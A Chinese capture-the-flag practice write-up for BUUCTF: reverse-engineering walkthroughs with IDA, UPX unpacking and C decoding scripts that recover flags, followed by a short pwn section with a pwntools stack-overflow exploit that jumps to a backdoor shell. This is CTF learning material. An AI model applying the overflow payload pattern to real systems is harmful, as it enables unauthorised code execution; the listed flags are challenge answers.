BUUCTF刷题记录

BUUCTF刷题记录

题目链接

Reverse

easyre

1.先下载IDA
2.用IDA打开exe
3.用shift+F12,查看字符串(不了解IDA快捷的可以先了解一下IDA的快捷键)
4.可以看到如下:
1

1
flag{this_Is_a_EaSyRe}

reverse1

1.用IDA打开exe
2.用shift+F12,查看字符串
2

3.双击进入
3

4.用x键查看字符串所在的函数
4

5.双击击进去
5

6.用快捷键F5将其反编译代码的形式
6

7.我们现在对代码进行分析(鼠标右键点击Edit comment可以添加注释,R键转换成字符串,H键转换成10 进制)
7

8.我们双击str2,进入汇编见面
8

1
flag{hell0_w0rld}

reverse2

1.用IDA打开exe
2.用shift+F12,查看字符串
9

可以看到flag的后半部分,双击right flag进入汇编界面,依旧re1的操作进入到反编译的界面(或者你可以直接找main函数,一般关键信息都在main函数里)
10

3.进行分析
11

很明显就是把flag中的i和r换成了1;

4.先双击flag
12

其实初始的flag已经出来了,替换一下

1
flag{hack1ng_fo1_fun}

内涵的软件

1.先运行一下exe
13

再enter后就退出了

2.用IDA 打开
3.shift+F12,查找字符串
14

1
flag{49d3c93df25caad81232130f3d2ebfad}

新年快乐

1.先运行exe
15

输入任何东西都会闪退
2.用IDA分析(在这里说明一下IDA有32和64 位,可以用ExeinfoPe查看,不过ExeinfoPe的主要功能是查看壳)
16

可以看到upx的壳
3.用ExeinfoPe查壳
17

可以看到32位用,有upx,用upx工具脱壳
4.用upx工具脱壳

1
upx -d + 文件地址

18

5.再将脱壳后的exe放入IDA
20

恢复正常

6.还是先shift+F12,找关键字符串
21

看到关键字符串‘this is true flag!’,双击进入,按同样的步骤找到反编译后的代码
22

进行分析
23

1
flag{HappyNewYear!}

xor

1.先用IDA打开
24

2.找到关键词,按相同步骤找到函数并进行分析
25

3.先双击global进入汇编界面
26

4.在双击划红线的部分,找到加密后的密文
27

在密文上使用shift+E提取密文,再将其转到16进制的形式(既选择hex)

补充:异或的知识 a^b = c 如果想的到a或b ,可以b=a^c,a=b^c;

5.最后编写代码解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h> 
#include<stdlib.h>

int main(){
int i;
char b[] =
{
0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11,
0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F,
0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F,
0x47, 0x32, 0x4F
};
for ( i = 32; i > 0; --i ){
b[i] ^= b[i - 1];
}
printf("%s",b);
return 0;
}
1
flag{QianQiuWanDai_YiTongJiangHu}

reverse3

1.先运行一下exe
28

还是输入enter就退出了
29

猜测肯定与base64 加密有关,双击right flag,进入汇编界面,同样步骤进入反编译后的界面,进行分析。

  • 1先进入sub_4110BE
    30

  • 2整体分析完毕
    31

2.双击str2,进入汇编界面查找str2的字符串
32

3.先用脚本偏移回来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h> 
#include<stdlib.h>
#include<string.h>

int main(){
int i;
char b[] ="e3nifIH9b_C@n@dH" ;
int j;
j=strlen(b);
for ( i = 0; i <j ; i++ ){
b[i] -= i;
}
printf("%s",b);
return 0;
}

4.再用在线base64解码
33

1
flag{i_l0ve_you}

helloworld

1.下载文件发现是apk文件(一般apk都是用jadx 打开)
2.先用jadx打开(注:一般主要的内容都在MainActivity中)
3.进入MainActivity可以看到:
34

1
flag{7631a988259a00816deda84afb29430a}

不一样的flag

1.先运行exe,看到:
35

2.由上下左右的信息,可以猜测是个迷宫题
3.再用IDA打开
36

这里补充一点经验,一般迷宫都是方形的。
4.3.按原步骤找到主函数,并进行分析
37

5.构造迷宫:

1
2
3
4
5
* 1 1 1 1
0 1 0 0 0
0 1 0 1 0
0 0 0 1 0
1 1 1 1 #

明显是:下下下右右上上右右下下下(222441144222)

1
flag{222441144222}

SimpleRev

1.打开IDA
2.按原步骤找到主函数,并分析:
38

可以找到关键函数
39

40

3.解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h> 
#include<stdlib.h>
#include<string.h>

int main(){
char key3[10]="killshadow";
//ADSFKNDCLS转成小写
char key[10]="adsfkndcls";
char flag[10];
int i,j;
for(i=0;i<10;i++){
for(j=64;j<=90;j++){
//key3=text;如果想要成功满足str2=text;
if(key3[i]==(j-39-key[i%10]+97)%26+97){
flag[i]=j;
}
}
}
printf("flag{%s}",flag);
return 0;
}
1
flag{KLDQCUDFZO}

luck_guy

1.先用虚拟机运行一下:
41

没什么线索。
2.再用IDA打开,shift+F12:

41

3.按原步骤找到反编译的原函数,并进行分析
42

进入如关键函数

44

进入get_flag
45

双击f1进入,汇编界面
46

得到flag的第一部分
编代码得到第二部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>


int main() {

char f2[7]={'i','c','u','g','`','o','f',0x7F};//小端序转化
int i,j;
for(j=0;j<=7;j++){
if(j%2==1){
f2[j]-= 2;
}
else{
--f2[j];
}
}
printf("%s\n",f2);
return 0;
}

运行后得到

1
hate_me?

拼接一下

1
flag{do_not_hate_me?}

java逆向解密

1.java一般是先xxx.java文件,经过javac.exe编译后的到xxx.class文件,java的反编译可以用jd-gui(纯反编译java)后jadx(因为apk大多数都是用java写的)打开

2.下载附件看到xxx.class,可以知道要用java反编译的工具,以上两种都可以。

47

3.思路很明显了,将key先和32异或再-@。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include<string.h>
#include<stdlib.h>


int main() {

char KEY[] = {180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65};
int j;
int lenght=strlen(KEY);
char flag[lenght-2];
for(j=0;j<lenght;j++){
flag[j]=(KEY[j]^32)-'@';
}
printf("%s\n",flag);
return 0;
}

48

1
flag{This_is_the_flag_!}

JustRE

1.先运行exe
58
2.猜测可能是点击很多次次才能出来,这里我没有试,但是我在这里附上一个鼠标自动点击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pyautogui
import time

# 等待10秒
time.sleep(3)

# 设置点击次数
clicks = 100
interval = 1 # 两次点击之间的间隔时间(秒)

print("开始点击...")
for i in range(clicks):
pyautogui.click() # 默认情况下点击左键
time.sleep(interval) # 等待指定的间隔时间

print("完成点击")

3.我是直接用IDA打开
shift+F12查找字符串
59
可以找到flag

1
flag{%d%d2069a45792d233ac}

刮开有奖

1.先运行一下exe
60
我试了一下发现刮不动
2.用IDA打开
61
猜测跟base加解密有关
62
分析完毕,这里是纯手算的。这里给一个模拟排序函数的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include<string.h>
#include<stdlib.h>

int sub_A510F0(char* a1, int a2, int a3)
{
int result; // eax
int i; // esi
int v5; // ecx
int v6; // edx

result = a3;
for ( i = a2; i <= a3; a2 = i )
{
v5 =i;
v6 =a1[i];
if ( a2 < result && i < result )
{
do
{
if ( v6 > a1[result] )
{
if ( i >= result )
break;
++i;
a1[v5] = a1[result];
if ( i >= result )
break;
while ( a1[i] <= v6 )
{
if ( ++i >= result )
goto LABEL_13;
}
if ( i >= result )
break;
v5 = i;
a1[result] = a1[i];
}
--result;
}
while ( i < result );
}
LABEL_13:
a1[result]= v6;
sub_A510F0(a1, a2, i - 1);
result = a3;
++i;
}
return result;
}
int main() {

char str[]="ZJSECaNH3ng";
sub_A510F0(str,0,10);
printf("%s",str);
return 0;
}

疑难解答: *(_DWORD *)(a1 + 4 * result) = *(_DWORD )(4 * i + a1)<=>a1[result]=a1[i],int占四个字节,所以需要4.如果是char类型,就不需要(从大佬的博客里看的)。

1
flag{UJWP1jMp}

easyre1

1.直接放入IDA发现有壳与新年快乐同理去脱壳
2.脱壳后安原步骤找到main函数,并分析

63
3.现在只要编脚本得到v5就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include<string.h>
#include<stdlib.h>

int main() {
char v5[11];
int num[11];
char v4[]="*F'\"N,\"(I?+@";
char str[]="~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$# !\"";
int i,j;
for ( i = 0; i <= 11; ++i )
{
for(j=0;j<strlen(str);j++){
if(v4[i]==str[j]){
num[i]=j;
}
}
}
for(i=0;i<=11;i++){
v5[i]=num[i]+1;
}
printf("%s",v5);
return 0;
}
1
flag{U9X_1S_W6@T?}

简单注册器

1.发现是apk文件用jadx打开
2.还是找到 MainActivity和在IDA中找到main一个意思
3.64

4.编个脚本模拟它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include<string.h>
#include<stdlib.h>

int main() {
char x[]="dd2940c04462b4dd7c450528835cca15";
char a ;
int i;
x[2]= x[2]+x[3]-50;
x[4]=x[2]+x[5]-48;
x[30]=x[31]+x[9]-48;
x[14]=x[27]+x[28]-91;
for(i=0;i<16;i++){
a = x[31-i];
x[31 - i] = x[i];
x[i] = a;
}
printf("flag{%s}",x);
return 0;
}
1
flag{59acc538825054c7dk4b26440c0999dd}

pyre

1.pyc文件可以用在线pyc的反编译软件py反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 2.7

print 'Welcome to Re World!' #欢迎
print 'Your input1 is your flag~'
l = len(input1) #input1就是flag
for i in range(l):
num = ((input1[i] + i) % 128 + 128) % 128
code += num

for i in range(l - 1):
code[i] = code[i] ^ code[i + 1] #进行加密

print code
code = [
'\x1f',
'\x12',
'\x1d',
'(',
'0',
'4',
'\x01',
'\x06',
'\x14',
'4',
',',
'\x1b',
'U',
'?',
'o',
'6',
'*',
':',
'\x01',
'D',
';',
'%',
'\x13']#加密后的结果

反编译后的结果(加注释后)

2.用脚本进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include<string.h>
#include<stdlib.h>

int main() {
int i,j;
char code[] = {0x1f,0x12,0x1d,'(','0','4',0x01,0x06,0x14,'4',',',0x1b,'U','?','o','6','*',':',0x01,'D',';','%',0x13};
int lenght=strlen(code)-1;
char input1[strlen(code)];
char num[strlen(code)];
for(i=lenght-1;i>=0;i--){
code[i] = code[i] ^ code[i + 1];
}
for(i=lenght;i>=0;i--){
num[i]= code[i];
for(j=0;j<10;j++){
input1[i]=num[i]-i+128*j;
if(input1[i]>=0&&input1[i]<=128){
break;
}
}
}
printf("%s\n",input1);
return 0;
}
1
flag{Just_Re_1s_Ha66y!}

findit

1.apk文件,跟前面的apk题一样找到主要函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.example.findit;

import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

/* loaded from: classes.dex */
public class MainActivity extends ActionBarActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // android.support.v7.app.ActionBarActivity, android.support.v4.app.FragmentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button btn = (Button) findViewById(R.id.widget3);
final EditText edit = (EditText) findViewById(R.id.widget2);
final TextView text = (TextView) findViewById(R.id.widget1);
final char[] a = {'T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e'};
final char[] b = {'p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}'};
btn.setOnClickListener(new View.OnClickListener() { // from class: com.example.findit.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View v) {
char[] x = new char[17];
char[] y = new char[38];
for (int i = 0; i < 17; i++) {
if ((a[i] < 'I' && a[i] >= 'A') || (a[i] < 'i' && a[i] >= 'a')) {
x[i] = (char) (a[i] + 18);
} else if ((a[i] >= 'A' && a[i] <= 'Z') || (a[i] >= 'a' && a[i] <= 'z')) {
x[i] = (char) (a[i] - '\b');
} else {
x[i] = a[i];
}
}
String m = String.valueOf(x);
if (m.equals(edit.getText().toString())) {
for (int i2 = 0; i2 < 38; i2++) {
if ((b[i2] >= 'A' && b[i2] <= 'Z') || (b[i2] >= 'a' && b[i2] <= 'z')) {
y[i2] = (char) (b[i2] + 16);
if ((y[i2] > 'Z' && y[i2] < 'a') || y[i2] >= 'z') {
y[i2] = (char) (y[i2] - 26);
}
} else {
y[i2] = b[i2];
}
}
String n = String.valueOf(y);
text.setText(n);
return;
}
text.setText("答案错了肿么办。。。不给你又不好意思。。。哎呀好纠结啊~~~");
}
});
}

@Override // android.app.Activity
public boolean onOptionsItemSelected(MenuItem item) {
int id = item.getItemId();
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}

2.模拟一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include<string.h>
#include<stdlib.h>

int main() {
char a[] = {'T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e'};
char b[] = {'p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}'};
int x[17];
int y[38];
int i;
int i2 ;
for (i = 0; i < 17; i++) {
if ((a[i] < 'I' && a[i] >= 'A') || (a[i] < 'i' && a[i] >= 'a')) {
x[i] = a[i] + 18;
} else if ((a[i] >= 'A' && a[i] <= 'Z') || (a[i] >= 'a' && a[i] <= 'z')) {
x[i] = a[i] - '\b';
} else {
x[i] = a[i];
}
}

for (i2 = 0; i2 < 38; i2++) {
if ((b[i2] >= 'A' && b[i2] <= 'Z') || (b[i2] >= 'a' && b[i2] <= 'z')) {
y[i2] = b[i2] + 16;
if ((y[i2] > 'Z' && y[i2] < 'a') || y[i2] >= 'z') {
y[i2] = y[i2] - 26;
}
} else {
y[i2] = b[i2];
}
}

for(i = 0; i < 17; i++){
printf("%c", (char)x[i]);
}
printf("\n");
for(i = 0; i < 38; i++){
printf("%c", (char)y[i]);
}

return 0;
}
1
flag{c164675262033b4c49bdf7f9cda28a75}

Pwn

test_your_nc

1.就是测试一下你的nc

1
nc +靶机地址 (在linxs中ip与端口间没有冒号)

2.pwn题一般都是动态地址,所以每次的flag都是不一样的

49

rip

1.先进行一波常规操作
50

2.再用IDA打开shift+F12直接可以查看后门
51

52

找到后门的地址
3.找到main函数
53

4.我们要考栈溢出一直覆盖到后门(shell),看看要覆盖多少;
54

5.在查看system函数的地址
55

6.构造exp

1
2
3
4
5
6
7
8
from pwn import*
r = process("./pwn")
#r=remote("ip",端口)
shell=0x0401040
sys=0x00401187
payload=b'a'*0x0F+b'b'*8+p64(sys)+p64(shell)
r.sendline(payload)
r.interactive()

56

本地成功换成远程
57